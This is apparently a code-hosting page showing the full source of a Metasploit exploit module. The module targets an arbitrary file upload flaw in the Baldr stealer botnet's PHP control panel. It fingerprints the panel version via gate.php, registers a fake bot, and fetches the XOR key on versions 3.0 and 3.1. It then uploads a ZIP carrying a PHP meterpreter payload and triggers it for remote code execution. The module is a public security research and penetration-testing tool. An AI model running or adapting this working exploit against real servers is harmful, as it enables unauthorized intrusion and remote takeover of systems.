Path: blob/master/modules/exploits/multi/http/baldr_upload_exec.rb
32175 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::FileDropper8include Msf::Exploit::Remote::HttpClient9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Baldr Botnet Panel Shell Upload Exploit',16'Description' => %q{17This module exploits an arbitrary file upload vulnerability within the Baldr18stealer malware control panel when uploading victim log files (which are uploaded19as ZIP files). Attackers can turn this vulnerability into an RCE by first20registering a new bot to the panel and then uploading a ZIP file containing21malicious PHP, which will then uploaded to a publicly accessible22directory underneath the /logs web directory.2324Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files25are encoded by XORing them with a random 4 byte key. This exploit module gets around26this restriction by retrieving the IP specific XOR key from panel gate before27uploading the malicious ZIP file.28},29'License' => MSF_LICENSE,30'Author' => [31'Ege Balcı <[email protected]>' # author & msf module32],33'References' => [34['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],35['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],36['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],37],38'DefaultOptions' => {39'SSL' => false,40'WfsDelay' => 541},42'Targets' => [43[44'Auto',45{46'Platform' => 'PHP',47'Arch' => ARCH_PHP,48'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }49}50],51[52'<= v2.0',53{54'Platform' => 'PHP',55'Arch' => ARCH_PHP,56'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }57}58],59[60'v2.2',61{62'Platform' => 'PHP',63'Arch' => ARCH_PHP,64'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }65}66],67[68'v3.0 & v3.1',69{70'Platform' => 'PHP',71'Arch' => ARCH_PHP,72'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }73}74]75],76'Privileged' => false,77'DisclosureDate' => '2018-12-19',78'DefaultTarget' => 0,79'Notes' => {80'Stability' => [ CRASH_SAFE ],81'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS ],82'Reliability' => [ REPEATABLE_SESSION ]83}84)85)8687register_options(88[89OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),90]91)92end9394def check95if select_target96Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")97else98Exploit::CheckCode::Safe99end100end101102def select_target103res = send_request_cgi(104'method' => 'GET',105'uri' => normalize_uri(target_uri.path, 'gate.php')106)107if res && res.code == 200108if res.body.include?('~;~')109targets[3]110elsif res.body.include?(';')111targets[2]112elsif res.body.size < 4113targets[1]114end115end116end117118def exploit119# Forge the payload120name = ".#{Rex::Text.rand_text_alpha(4)}"121files =122[123{ data: payload.encoded, fname: "#{name}.php" }124]125zip = Msf::Util::EXE.to_zip(files)126hwid = Rex::Text.rand_text_alpha(8).upcase127128gate_uri = normalize_uri(target_uri.path, 'gate.php')129version = select_target130# If not 'Auto' then use the selected version131if target != targets[0]132version = target133end134135gate_res = send_request_cgi({136'method' => 'GET',137'uri' => gate_uri138})139os = Rex::Text.rand_text_alpha(8..12)140141case version142when targets[3]143fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res144unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')145fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')146end147key = gate_res.body.to_s.split('~;~')[0]148print_good("Key: #{key}")149150data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"151data = Rex::Text.xor(key, data)152153res = send_request_cgi({154'method' => 'GET',155'uri' => gate_uri,156'data' => data.to_s157})158159fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200160print_good('Bot successfully registered.')161162data = Rex::Text.xor(key, zip.to_s)163form = Rex::MIME::Message.new164form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")165166res = send_request_cgi({167'method' => 'POST',168'uri' => gate_uri,169'ctype' => "multipart/form-data; boundary=#{form.bound}",170'data' => form.to_s171})172173if res && res.code == 200174print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")175register_file_for_cleanup("#{name}.php")176else177print_error("Server responded with code #{res.code}")178fail_with(Failure::UnexpectedReply, 'Failed to upload payload')179end180when targets[2]181fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res182unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')183fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')184end185186key = gate_res.body.to_s.split(';')[0]187print_good("Key: #{key}")188data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"189data << zip.to_s190result = Rex::Text.xor(key, data)191192res = send_request_cgi({193'method' => 'POST',194'uri' => gate_uri,195'data' => result.to_s196})197198unless res && res.code == 200199print_error("Server responded with code #{res.code}")200fail_with(Failure::UnexpectedReply, 'Failed to upload payload')201end202203print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")204else205res = send_request_cgi({206'method' => 'POST',207'uri' => gate_uri,208'data' => zip.to_s,209'encode_params' => true,210'vars_get' => {211'hwid' => hwid,212'os' => os,213'cookie' => '0',214'pswd' => '0',215'credit' => '0',216'wallet' => '0',217'file' => '1',218'autofill' => '0',219'version' => 'v2.0'220}221})222223if res && res.code == 200224print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")225else226print_error("Server responded with code #{res.code}")227fail_with(Failure::UnexpectedReply, 'Failed to upload payload')228end229end230231vprint_status('Triggering payload')232send_request_cgi({233'method' => 'GET',234'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")235}, 3)236end237end238239240